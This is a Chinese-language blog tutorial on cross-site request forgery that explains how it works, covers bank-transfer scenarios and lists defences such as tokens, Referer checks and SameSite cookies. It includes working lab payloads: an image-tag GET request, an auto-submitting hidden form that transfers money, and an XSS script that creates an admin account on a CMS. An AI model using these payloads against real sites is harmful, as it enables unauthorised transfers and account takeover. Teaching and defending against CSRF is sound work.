跨站请求伪造

本文详细介绍了CSRF攻击的原理,包括其基本概念、关键点和目标,涉及银行转账、虚假网站构造等场景。同时探讨了CSRF的防御方法,如无效防御(如使用秘密Cookie、仅接受POST)和有效防御(如Referer验证、Token验证、二次验证和HttpOnly/SameSite设置)。
摘要由CSDN通过智能技术生成

1.CSRF 概述

1.1 CSRF 原理

1.1.1 基本概念

​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

​ 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序。

1.1.2关键点

  • 受害者没有退出登录,受害者保持身份认证。

  • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。

  • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。

1.1.3 目标

CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。CSRF 的场景中,攻击者是没有办法获得服务器的响应

1.2 CSRF 场景

1.2.1 银行账户转账

在这里插入图片描述

1.2.2 构造虚假网站

构造CSRF 攻击连接。

<meta
<img charset='utf-8'> src='./1.jpg'><br/>
<img src='http://10.4.7.130/bank/action.php? username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手,谁与争锋'>

  • 攻击者通过 标签构造GET 请求。

  • 浏览器根据 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息。

1.2.3 场景建模

在这里插入图片描述

1.3 CSRF 类别

1.3.1 POST 方式

<meta charset='utf-8'>
<form name='csrf'action='http://10.4.7.130/bank/action.php'  method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

1.4 CSRF 验证

1.4.1 CSRF PoC generator

Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证。

在这里插入图片描述

2.CSRF 攻防

2.1 CSRF 实战

2.1.1 与XSS漏洞相结合

攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest(); xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=cgjil&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7
&userid=0");
</script>

2.2 CSRF 防御

2.2.1 无效防御

  • 使用秘密的Cookie。

  • 仅接收POST 请求。

  • 多步交易:多步交易,有可能会被恶意攻击者预测。

  • URL 重写:用户的身份信息会暴露在URL 中,不建议通过引入另外一个漏洞来解决当前漏洞。

  • HTTPS:所有安全机制的前提。

2.2.2 有效防御

验证Referer 字段:

  • 前URL 的上一个URL;
  • 转账页面到转账操作;
  • 伪造?

添加Token 验证:

在这里插入图片描述

二次验证:在关键操作之前,再输入密码或者验证码。

HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。

en 验证:

[外链图片转存中…(img-pjlKTxbS-1694241633038)]

二次验证:在关键操作之前,再输入密码或者验证码。

HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。

SameSite:Cookie 属性,浏览器自带安全机制。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值